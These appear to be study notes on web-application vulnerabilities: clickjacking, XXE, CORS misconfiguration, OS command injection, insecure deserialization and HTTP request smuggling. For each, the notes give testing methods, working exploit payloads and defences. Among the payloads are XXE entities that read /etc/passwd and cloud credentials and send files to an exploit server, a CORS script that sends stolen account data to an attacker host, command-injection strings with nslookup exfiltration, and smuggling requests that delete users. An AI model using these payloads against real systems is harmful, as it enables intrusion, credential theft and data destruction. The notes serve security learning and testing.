- Look for the X-Frame-Options and Content-Security-Policy response headers
- Visit all pages in the application and make note of all the response headers
- If X-Frame-Options header is set to "deny" or "sameorigin" that means the application is likely not vulnerable to clickjacking
- If the Content-Security-Policy header uses the directive frame-ancestors and that's set to "none" or "self", then the application is likely not vulnerable to clickjacking
- If it contains domains, review any wildcard configuration
- Test identified instances of clickjacking vulnerabilities and develop a proof of concept
Whitebox Testing
- Identify the framework that the application is using
- Identify if the framework has built in defenses to prevent clickjacking vulnerabilities
- Identify if any libraries have been imported to configure headers
- Review the set configuration to ensure that it is secure
- Test identified instances of clickjacking vulnerabilities and develop a proof of concept
How To Exploit Clickjacking Vulnerabilities?
Basic Clickjacking Attack
<style>
iframe{
position:relative;
width:1000px;
height:1000px;
opacity:0.00001;
z-index:2;
}
div{
position:absolute;
top:515px;
left:50px;
z-index:1;
}
</style>
<div>Click Me</div>
<iframe src="https://web-security-academy.net/my-account"></iframe>
Bypassing Frame Busting Scripts
<style>
iframe{
position:relative;
width:1000px;
height:1000px;
opacity:0.00001;
z-index:2;
}
div{
position:absolute;
top:515px;
left:50px;
z-index:1;
}
</style>
<div>Click Me</div>
<iframe sandbox="allow-forms" src="https://web-security-academy.net/my-account"></iframe>
How To Prevent Clickjacking Vulnerabilities?
There are three main mechanisms that can be used to defend against clickjacking attacks:
- Defending with X-Frame-Options response header
- Defending with Content Security Policy (CSP) frame-ancestors directive
- Defending with SameSite cookies
X-Frame-Options
The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page in a <frame>
or </iframe>
There are three possible values for the X-Frame-Options header:
- DENY
X-Frame-Options: deny
- SAMEORIGIN
X-Frame-Options: sameorigin
- ALLOW_FROM origin
X-Frame-Optiosn: allow-from https://legitimate-site.com
This defense mechanism contains the following limitations:
- This is a per-page policy specification
- The ALLOW-FROM option is obsolete and no longer works in modern browsers
- Multiple options are not supported
Content Security Policy (CSP)
The Content-Security-Policy HTTP response header allows website administrators to control resources the user agent is allowed to load for a given page
Use of CSP frame-ancestors:
- Prevent any domain from framing the content
Content-Security-Policy: frame-ancestors 'none';
- Only allow the current site to frame the content
Content-Security-Policy: frame-ancestors 'self';
- Allow multiple sites (specified) to frame the content
Content-Security-Policy: frame-ancestors 'self' *.somesite.com https://site.com;
This defense mechanism contains the following limitation:
- CSP frame-ancestors is not supported by all the major browsers yet.
SameSite Cookies
The SameSite is a cookie attribute that determines when a website's cookies are included in requests originating from other domains. It's usually used as a defense agains CSRF attacks.
- Strict
Set-Cookie: session=aiuflha90$12FSDASd; SameSite = Strict
- Lax
Set-Cookie: session=aiuflha90$12FSDASd; SameSite = Lax
The use of this attribute should be considered as part of defense-in-depth approach
This defense mechanism contains the following limitations:
- If the clickjacking attack does not require the user to be authenticated, this defense mechanism will not work
- The SameSite attribute is suported by most browsers, however, there's a small number of browsers that do not support it
Resources
- Web Security Academy - Clickjacking (UI redressing)
- OWASP Clickjacking Defense Cheat Sheet
- OWASP WSTG – Testing for Clickjacking
XXE Injection
Prerequisites
Extensible Markup Language (XML) XML is a markup language for storing, transmitting, and reconstructing data.
- XML applications will work as expected even if new data is added (or removed).
- A human readable language that uses tags to define elements within a document.
- A human readable language that uses tags to define elements within a document.
1 <?xml version="1.0" encoding="UTF-8"?>
2 <bookstore>
3 <book category="web security">
4 <title>Web Application Hacker's Handbook</title>
5 <author>Dafydd Stuttard and Marcus Pinto</author>
6 <year>2011</year>
7 </book>
8 <book category="penetration testing">
9 <title>The Hacker Playbook 3</title>
10 <author>Peter Kim</author>
11 <year>2018</year>
12 </book>
13 </bookstore>
- Line 1 - XML declaration
- Line 2 - Root element
- Line 3 - Child element
XML Entities XML entities are a way of representing an item of data within an XML document, instead of using the data itself.
1 <?xml version="1.0" encoding="UTF-8"?>
2 <!DOCTYPE bookstore [
3 <!ENTITY name "Peter Kim">
4 ]>
5 <bookstore>
6 <book category="penetration testing">
7 <title>The Hacker Playbook 3</title>
8 <author>&name;</author>
9 </book>
10 </bookstore>
- Line 2-4 - Document Type Definition (DTD)
- Line 3 - Entity
- Line 8 - Entity reference
Different types of entities
- Internal
- External
- Parameter
- Predefined
Internal Entities An entity that is defined locally within a DTD. It is used to get rid of typing the same content again and again
1 <?xml version="1.0" encoding="UTF-8"?>
2 <!DOCTYPE bookstore [
3 <!ENTITY name "Peter Kim">
4 ]>
5 <bookstore>
6 <book category="penetration testing">
7 <title>The Hacker Playbook 3</title>
8 <author>&name;</author>
9 </book>
10 </bookstore>
External Entities An entity that is defined outside of the DTD where it is declared. It is used to divide the document into logical chunks.
1 <?xml version="1.0" encoding="UTF-8"?>
2 <!DOCTYPE stockcheck [
3 <!ENTITY product SYSTEM "file:///var/www/html/product.txt">
4 ]>
5 <stockcheck>
6 <productId>&product;</productId>
7 </stockcheck>
Parameter Entities A special kind of XML entity which can only be referenced exclusively within the DTD.
1 <?xml version="1.0" encoding="UTF-8"?>
2 <!DOCTYPE stockcheck [
3 <!ENTITY % paramEntity "entity value"> %paramEntity;
4 ]>
5 <stockcheck>
6 <productId>test</productId>
7 </stockcheck>
What Is XXE Injection?
Vulnerability that allows an attacker to interfere with an application's processing of XML data.
Example:
- Vulnerable Request
POST /product/stock HTTP/2
...
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>
17
</productId>
<storeId>
1
</storeId>
</stockCheck>
- Attacker Request
POST /product/stock HTTP/2
...
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>
- Response
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2292
"Invalid product ID:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:6c0:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
Types of XXE Injection
In-Band XXE Injection
- Occurs when the attacker can receive a direct response on the screen to the XXE payload
Out-Of-Band XXE Injection
- Occurs when the attacker does not receive a direct response on the screen to the XXE payload. Instead, the attacker triggers the response to be sent to an out-of-band attacker-controller server
Error XXE Injection
- Occurs when the attacker can infer the response of the XXE payload based on manipulating the application to generate an error
Impact Of XXE Injection vulnerabilities
- Unauthorized access to the application
- Confidentiality - Allows you to read files on the system
- Integrity - Usually not affected unless you escalate the XXE attack to compromise the underlying server
- Availability - Allows you to perform a denial-of-service (DoS) attack, referred to as an XML bomb or a billion laughs attack
How To Find XXE Injection?
Black-Box Testing
- Map the application
- Identify all visible instances in the application where client supplied input is parsed as XML code
- Inject XML metacharacters, such as single quote, double quote, angle brackets, etc, to see if an error is thrown in the application that indicates if the application is using an XML parser
- Automate testing using a WAVS
- Test identified instances with XML payloads to have the application retrieve a publicly readable file from the backend server
- In-Band XXE Injection
- Out-Of-Band XXE Injection
- Error Based XXE Injection
White-Box Testing
- Identify all instances in the application code where client supplied input is parsed as XML code
- For those instances, identify if the XML parser disables DTDs and/or external entities
- Validate potential XXE injection vulnerabilities on a running application
How To Exploit XXE Injection?
Vulnerable Application
- Request:
POST /product/stock HTTP/2
...
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>
17
</productId>
<storeId>
1
</storeId>
</stockCheck>
- Response:
HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3
354
Retrieve Sensitive Data In Response
- Request
POST /product/stock HTTP/2
...
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM
"file:///etc/passwd">]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>
- Response
HTTP/2 400 Bad Request
Content-Type: application/json;
charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2338
"Invalid product ID:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nol
ogin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
Exploit XXE Injection To Perform SSRF Attack
- Request
POST /product/stock HTTP/2
...
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM
"http://169.254.169.254/"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>
- Response
HTTP/2 400 Bad Request
Content-Type: application/json;
charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 30
"Invalid product ID:
latest
"
- Request
POST /product/stock HTTP/2
...
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM
"http://169.254.169.254/latest"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>
- Response
HTTP/2 400 Bad Request
Content-Type: application/json;
charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 30
"Invalid product ID:
meta-data
"
- Request
POST /product/stock HTTP/2
...
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM
"http://169.254.169.254/latest/meta-
data/iam/security-credentials/admin">]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>
- Response
HTTP/2 400 Bad Request
Content-Type: application/json;
charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 554
"Invalid product ID:
{
"Code" : "Success",
"Type" : "AWS-HMAC",
"AccessKeyId" : "P3A39PNDNgjytg9u6OfE",
"SecretAccessKey" :
"JgNDdDK6aOFCVkA8shPlr4t9saM0wVo63KGimF1F",
"Token" :
"SKh40MomJcV3zUyrlr9j26Cl5dTs6jWvVU3jmztTiG
...
Exfiltrate Sensitive Data To An Attacker Server
- Request
POST /product/stock HTTP/2
...
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM
"http://5697t6jfs9qkgsaggzopz5qjgam1aty
i.oastify.com"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>
- Response
HTTP/2 400 Bad Request
Content-Type: application/json;
charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 20
"Invalid product ID"
-
Attacker Controlled Server - Received PING
-
Request
POST /product/stock HTTP/2
...
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY % xxe SYSTEM
"http://5697t6jfs9qkgsaggzopz5qjgam1aty
i.oastify.com"> %xxe; ]>
<stockCheck>
<productId>
17
</productId>
<storeId>
1
</storeId>
</stockCheck>
- Response
HTTP/2 400 Bad Request
Content-Type: application/json;
charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 20
"XML parsing error"
- Request
POST /product/stock HTTP/2
...
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY % xxe SYSTEM
"https://exploit-
server.net/external.dtd"> %xxe; ]>
<stockCheck>
<productId>
17
</productId>
<storeId>
1
</storeId>
</stockCheck>
- external.dtd
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM
'https://exploit-server.net/?x=%file;'>">
%eval;
%exfil;
- Request
POST /product/stock HTTP/2
...
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY % xxe SYSTEM
"https://exploit-
server.net/external.dtd"> %xxe; ]>
<stockCheck>
<productId>
17
</productId>
<storeId>
1
</storeId>
</stockCheck>
- external.dtd
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM
'https://exploit-server.net/?x=%file;'>">
<!ENTITY % exfil SYSTEM 'https://exploit-
server.net/?x=?content_of_hostname_file'>">
%exfil;
- Attacker Controlled Server -> Received content of hostname file
Exploiting XInclude To Retrieve Files
XInclude is a part of the XML specification that allows an XML document to be built from sub-documents. You can place an XInclude attack within any data value in an XML document.
- Request
POST /product/stock HTTP/2
...
productId=1&storeId=1
- Response
HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3
107
- Request
POST /product/stock HTTP/2
...
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
- Response
HTTP/2 400 Bad Request
...
"Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
How To Prevent XXE Injection?
The best way to prevent XXE Injection vulnerabilities is to disable dangerous XML features that the application does not need or intend to use.
- Disable resolution of external entities and disable support for XInclude
Resources
- XML Tutorial
- Web Security Academy – XML External Entity (XXE) Injection
- OWASP Web Security Testing Guide – Testing for XML Injection
- OWASP XML External Entity Prevention Cheat Sheet
- PwnFunction – XML External Entities (XXE) Explained
CORS
Prerequisites
Same-Origin Policy (SOP)
Rule that is enforced by browsers to control access to data between web applications
- This does not prevent writing between web applications, it prevents reading between web applications
- Access is determined based on the origin
What Is An Origin?
Origin is defined by the scheme (protocol), hostname (domain), and port of the URL used to access it.
https(scheme)://securitynotesfordummies.com(host):443(port)
What is Cross-Origin Resource Sharing (CORS)?
CORS is a mechanism that uses HTTP headers to define origins that the browser permit loading resources
- CORS makes use of 2 HTTP headers:
- Access-Control-Allow-Origin
- Access-Control-Allow-Credentials
Access-Control-Allow-Origin Header
The Access-Control-Allow-Origin response header indicates whether the response can be shared with requesting code from the given origin
Syntax
Access-Control-Allow-Origin: *
Access-Control-Allow-Origin: <origin>
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials Header
The Access-Control-Allow-Credentials response header allows cookies (or other user credentials) to be included in cross-origin requests
Syntax
Access-Control-Allow-Credentials: true
NOTE: If the server is configured with the wildcard ("*") as the value of Access-Control-Allow-Origin header, then the use of credentials is not allowed.
CORS Vulnerabilities
- CORS vulnerabilities arise from CORS configuration issues
- Arise from restrictions on available options to set the Access-Control-Allow-Origin header
Access-Control-Allow-Origin: *
Access-Control-Allow-Origin: <origin>
Access-Control-Allow-Origin: null
- Forces developers to use dynamic generation
CORS vulnerabilities arise from flaws in the way that dynamic generation is implemented:
- Server-generated Access-Control-Allow-Origin header from client-specified Origin header
- Error parsing Origin headers
- Granting access to all domains that end in a specific string
- Example: bank.com
- Bypass: maliciousbank.com
- Granting access to all domains that begin with a specific string
- Example: bank.com
- Bypass: bank.com.malicious.com
- Granting access to all domains that end in a specific string
- Whitelisted null origin value
Impact of CORS Vulnerabilities
- Depends on the application that is being exploited
- Confidentiality – it can be None / Partial (Low) / High
- Integrity – usually either Partial or High
- Availability – can be None / Partial (Low) / High
- Remote code execution on the server
How To Find CORS Vulnerabilities?
Black-Box Testing
- Map the application
- Test the application for dynamic generation
- Does it reflect the user-suplied ACAO header?
- Does it only validate on the start/end of a specific string?
- Does it allow the null origin?
- Does it restrict the protocol?
- Does it allow credentials?
- Once you have determined that a CORS vulnerability exists, review the application's functionality to determine how you cna prove impact
White-Box Testing
- Identify the framework/technologies that is being used by the application
- Find out how this specific technology allows for CORS configuration
- Review code to identify any misconfigurations in CORS rules
How To Exploit CORS Vulnerabilities?
- If the application allows for credentials:
- Server generated user supplied origin
- Validates on the start/end of a specific string
<html>
<body>
<h1>Hello World!</h1>
<script>
var xhr = new XMLHttpRequest();
var url = "https://vulnerable-site.com"
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch("/log?key=" + xhr.responseText)
}
}
xhr.open('GET', url + "/accountDetails", true);
xhr.withCredentials = true;
xhr.send(null);
</script>
</body>
</html>
- If the application allows for credentials:
- Accepts the null origin
<html>
<body>
<h1>Hello World!</h1>
<iframe style="display: none;" sandbox="allow-scripts" srcdoc="
<script>
var xhr = new XMLHttpRequest();
var url = 'https://vulnerable-site.com'
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch('http://attacker-server:4444/log?key=' + xhr.responseText)
}
}
xhr.open('GET', url + '/accountDetails', true);
xhr.withCredentials = true;
xhr.send(null);
</script>"></iframe>
</body>
</html>
- If the application does not allow for credentials
- What security impact does that have on the application?
How To Prevent CORS Vulnerabilities?
- Proper configuration of cross-origin requests
- Only allow trusted sites
- Avoid whitelisting null
- Avoid wildcards in internal networks
Resources
- Web Security Academy - Cross-origin resource sharing (CORS)
- AppSec EU 2017 Exploiting CORS Misconfigurations For Bitcoins And Bounties by James Kettle
- Exploiting CORS misconfigurations for Bitcoins and bounties
- JetBrains IDE Remote Code Execution and Local File Disclosure
- Advanced CORS Exploitation Techniques
Command Injection
What Is OS Command Injection?
OS Command Injection is a vulnerability that consists of an attacker executing commands on the host operating system via a vulnerable application
1 import java.io.IOException;
2 import javax.servlet.http.HttpServletRequest;
3 public void runUnsafe(HttpServletRequest request) throws IOException {
4 String cmd = request.getParameter("command");
5 String arg = request.getParameter("arg");
6 Runtime.getRuntime().exec(cmd+" "+arg);
7 }
Line #6 allows execution of arbitrary commands via client-side input
Types Of Command Injection
- In-Band Command Injection
- Consists of an attacker executing commands on the host operating system via a vulnerable application and receiving the response of the command in the application
- Blind Command Injection
- Consists of an attacker executing commands on the host operating system via a vulnerable application that does not return the output from the command within its HTTP response
Impact Of Command Injection Attacks
- Unauthorized access to the application and host operating system
- Confidentiality - can be used to view sensitive information
- Integrity - can be used to alter content in the application
- Availability - can be used to delete content in the application
- Remote code execution on the host operating system
How To Find Command Injection?
Black-Box Testing
- Map the application
- Identify all instances where the web application appears to be interacting with the underlying operating system
- Fuzz the application
- Shell metacharacters: &, &&, |, "", ;, \n, ', $()
- For in-band command injection, analyze the response of the application to determine if it's vulnerable
- For blind command injection, you need to get creative
- Trigger a time delay using the ping or sleep command
- Output the response of the command in the web root and retrieve the file directly using a browser
- Open an out-of-band channgel back to a server you control
White-Box Testing
- Perform a combination of black box and white box testing
- Map all input vectors in the application
- Review source code to determine if any of the input vectors are added as parameters to functions that execute system commands
How To Exploit Command Injection Vulnerabilities?
-
Exploiting In-Band Command Injection
- Shell metacharacters: &, &&, |, "", ;, \n, ', $()
- Concatenate another command
127.0.0.1 && cat /etc/passwd &
127.0.0.1 & cat /etc/passwd &
127.0.0.1 || cat /etc/passwd &
-
Exploiting Blind Command Injection
- Shell metacharacters: &, &&, |, "", ;, \n, ', $()
- Trigger a time delay
127.0.0.1 && sleep 10 &
127.0.0.1 && ping -c 10 127.0.0.1
- Output the response of the command in the web root and retrieve the file directly using a browser
127.0.0.1 & whoami > /var/www/static/whoami.txt &
- Open an out-of-band channel back to a server you control
127.0.0.1 & nslookup lishdfo.attacker.com &
127.0.0.1 & nslookup 'whoami'.lishdfo.attacker.com &
How To Prevent Command Injection Vulnerabilities?
The most effective way to prevent OS Command Injection Vulnerabilities is to never call out to OS commands from application-layer code. Instead, implement the required functionality using safer platform APIs.
- For example: use
mkdir
instead ofsystem("mkdir /dir_name")
It is required to perform OS commands using user-supplied input, then strong input validation must be performed.
- Validate against a whitelist of permitted values
- Validate that the input is as expected or valid input
Resources
- Web Security Academy – OS Command Injection
- OWASP Command Injection
- OWASP OS Command Injection Defense Cheat Sheet
- OWASP WSTG Testing for Command Injection
Insecure Deserialization
Prerequisites
Serialization converts complex data structures such as objects and their fields into a format that can be sent and received as a sequential stream of bytes. Serialized data format can be either binary or string.
Deserialiaztion restors the byte stream to a fully functional replica of the original object, in the exact state as when it was serialized.
What Is Insecure Deserialization?
Insecure Deserialization occurs when untrusted data is used to abuse the logic of an application's deserialialization process, allowing an attacker to execute code, manipulate objects, or perform injection attacks. In simpler words, attacker-controlled data is deserialized by the server.
Example
Java application uses the native Java serialization to save a cookie object on the user's hard drive. The cookie object contains the user's session ID.
import java.io.*;
public class SerializeCookie {
public static void main(String[] args) {
Cookie cookieObj = new Cookie();
cookieObj.setValue("alice");
try {
FileOutputStream fos = new FileOutputStream("cookies.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(cookieObj);
oos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
The writeObject() function serializes the cookieObj to a file called cookies.ser.
Now suppose the application later reads this serialized object from the file:
import java.io.*;
public class DeserializeCookie {
public static void main(String[] args) {
try {
FileInputStream fis = new FileInputStream("cookies.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Cookie cookieObj = (Cookie) ois.readObject();
System.out.println(cookieObj.getValue());
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
}
}
If an attacker is able to replace the cookie.ser
file or its content with a malicious serialized object, they could potentially execute arbitrary code when the object is deserialized. For example, the attacker could create a serialized object that executes OS commands when deserialized.
How To Find Insecure Deserialization Vulnerabilities?
- Look at all data being passed into the website and try to identify anything that looks like serialized data.
- Serialized data can be identified easily if you know the format of the different languages.
- Once serialized data has been identified, test if it can be controlled.
- Tools exist for automated finding
- Tracing by hand is only practical in small applications
- Ysoserial is the main tool for exploiting code
Insecure PHP Deserialization
- PHP uses mostly human-readable string format
- Letters represent data types
- Numbers represent the length of each entry
Example
Consider the following "User" object with the attributes:
$user->name = "carlos";
$user->isLoggedIn = true;
When serialized, the object may look like:
O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}
This can be interpreted as follows:
-
P:4:"User"
- An object with the 4-character class name "User" -
2
- the object has 2 attributes -
s:4:"name"
- The key of the first attribute is the 4-character string "name" -
s:6:"carlos"
- The value of the first attribute is the 6-character string "carlos" -
s:10:"isLoggedIn"
- The key of the second attribute is the 10-character string "isLoggedIn" -
b:1
- The value of the second attribute is the boolean valuetrue
-
The native methods for PHP serialization are
serialize()
andunserialize()
-
If you have source code access, start looking for
unserialize()
anywhere in the code and investigating further.
Insecure Java Deserialization
- Serialized Java objects always begin with the same bytes, encoded as
ac ed
in hexadecimal andRO0
in Base64. - Any class that implements the
java.io.Serializable
can be serialized and deserialized. - If you have source code access, take note of any code that uses the
readObject()
method, which is used to erad and deserialize data from anInputStream
.
How To Exploit Insecure Deserialization?
Initial step for a basic deserialization exploit
- Can be as easy as changing an attribute in a serialized object
- Study the serialized data to identify and edit interesting attribute values
- You can then pass the malicious object into the website via its deserialization process
Approaches for manipulating serialized objects
- Edit the object directly in its byte stream form
- Write a short script in the corresponding language to create and serialize the new object yourself
Manipulating object attributes
Example
A website uses a serialized User
object to store data about a user's session in a cookie.
Decoded Byte stream
O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}
Exploit
- Change the
isAdmin
boolean value to1 (true)
. - Re-encode the object and overwrite current cookie
$user = unserialize($_COOKIE);
if ($user->isAdmin === true) {
// allow access to admin interface
}
Not a common scenario in the wild.
Using Application Functionality
Example
Suppose an application has the functionality of deleting your account and the application uses a serialization-based session mechanism.
Cookie session
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ4Z2UyZ3hvYWhra2Q5Y2UxeXJ5bzE3c2UxZ210bnU5biI7czoxMToiYXZhdGFyX2xpbmsiO3M6MTk6InVzZXJzL3dpZW5lci9hdmF0YXIiO30%3d
Decoded Cookie Session
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"xge2gxoahkkd9ce1yryo17se1gmtnu9n";s:11:"avatar_link";s:19:"users/wiener/avatar";}
- We can take advantage of this and delete a user's file from the home directory
Modified Cookie Session
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"lcdra3ckgcmecgg1xy7gh8ebob9uczka";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}
Once the request with the new cookie has been sent, your account along with Carlos's morale.txt
file will be deleted.
Arbitrary Injection
How to Prevent Insecure Deserialization?
HTTP Request Smuggling
What Is HTTP Request Smuggling?
HTTP Request Smuggling is an attack technique that is conducted by interfering with the processing of requests between the front end and back end servers. The attacker exploits the vulnerability by modifying the request in the first request's body. This is done by abusing Content-Length and Transfer-Encoding headers.
After the attack is successful, the second request in the first request's body is smuggled and processed.
Types of HTTP Request Smuggling Vulnerabilities
Front-End | Back-End | |
---|---|---|
CL. TE | Content-Length | Transfer-Encoding |
TE. CL | Transfer-Encoding | Content-Length |
TE. TE | Transfer-Encoding | Transfer-Encoding |
CL. TE
- Assumes that the front-end prioritizes Content-Length header, while the back-end server prioritizes the Transfer-Encoding header
- First part of a request declares a short chunk length, typically 0
- The front-end server reads only the first part of the request and passes the second part to the back-end server
POST / HTTP/1.1
Host: website.com
Content-Length: 13
Transfer-Encoding: chunked
0
MALICIOUS-REQUEST
TE. CL
- Assumes that the front server prioritizes the Transfer-Encoding weakness, while the back-end server prioritizes the Content-Length weakness
- The length of the first chunk is declared up to and including the malicious request
- The second chunk is declared as having 0 length, so the front-end server assumes the request is complete
- The request is passed to the back-end server, which receives and processes it
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
15
MALICIOUS-REQUEST
0
TE. TE
- Both the front-end and back-end servers correctly prioritize the Transfer-Encoding header
- The headers can be ofuscated and involve a pair of Transfer-Encoding headers that do not follow the usual convention
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding: xchunked
Transfer-Encoding
: chunked
Transfer-Encoding
: chunked
How To Find And Exploit HTTP Request Smuggling Vulnerabilities?
- Use Burp Suite's HTTP Request Smuggler Extension
- Supports scanning for Request Smuggling vulnerabilities
- Check documentation here
Prepare Burp For Request Smuggling
- Downgrade HTTP Protocol To HTTP/1.1
- Change Request Method To POST
- Disable Automatic Update Of Content-Length
- Show non-printable characters
CL. TE Vulnerability
Detect CL. TE
Confirm CL. TE
Poison Back-End
- Send attack request
POST / HTTP/1.1
Host: vulnerablewebsite.com
Cookie: session=GFVjCIKreQrqtuMjrJMZrcSPQanssDjv
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
\r\n
0\r\n
\r\n
G
- Send normal request
POST / HTTP/1.1
Host: vulnerablewebsite.com
Cookie: session=GFVjCIKreQrqtuMjrJMZrcSPQanssDjv
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
foo=bar
Result
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 27
"Unrecognized method GPOST"
TE. CL Vulnerability
Detect TE. CL
Confirm TE. CL
Poison Back-End
- Send attack request
POST / HTTP/1.1
Host: vulnerablewebsite.com
Cookie: session=GFVjCIKreQrqtuMjrJMZrcSPQanssDjv
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
56
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
\r\n
0\r\n
\r\n
- Send normal request
POST / HTTP/1.1
Host: vulnerablewebsite.com
Cookie: session=GFVjCIKreQrqtuMjrJMZrcSPQanssDjv
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
foo=bar
Result
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 27
"Unrecognized method GPOST"
TE. TE Vulnerability
Detect TE. TE
TE Header Obfuscation
Confirm TE. TE
Poison Back-End
- Send attack request
POST / HTTP/1.1
Host: 0a980096048c828c80ac3f8400e20057.web-security-academy.net
Cookie: session=GFVjCIKreQrqtuMjrJMZrcSPQanssDjv
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: foo
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
\r\n
x=1\r\n
0\r\n
\r\n
- Send normal request
POST / HTTP/1.1
Host: vulnerablewebsite.com
Cookie: session=GFVjCIKreQrqtuMjrJMZrcSPQanssDjv
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
foo=bar
Result
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 27
"Unrecognized method GPOST"
Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability
Attack Request
POST / HTTP/1.1
Host: 0afe003c04eb401081187f72001800e0.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
Transfer-Encoding: chunked
3
abc
0
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
x=
Normal Request
POST / HTTP/1.1
Host: 0afe003c04eb401081187f72001800e0.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
foo = bar
Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability
Attack Request
POST / HTTP/1.1
Host: 0a560052044f34b183eb28260093007b.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
50
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 6
0
Normal Request
POST / HTTP/1.1
Host: 0a560052044f34b183eb28260093007b.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
foo=bar
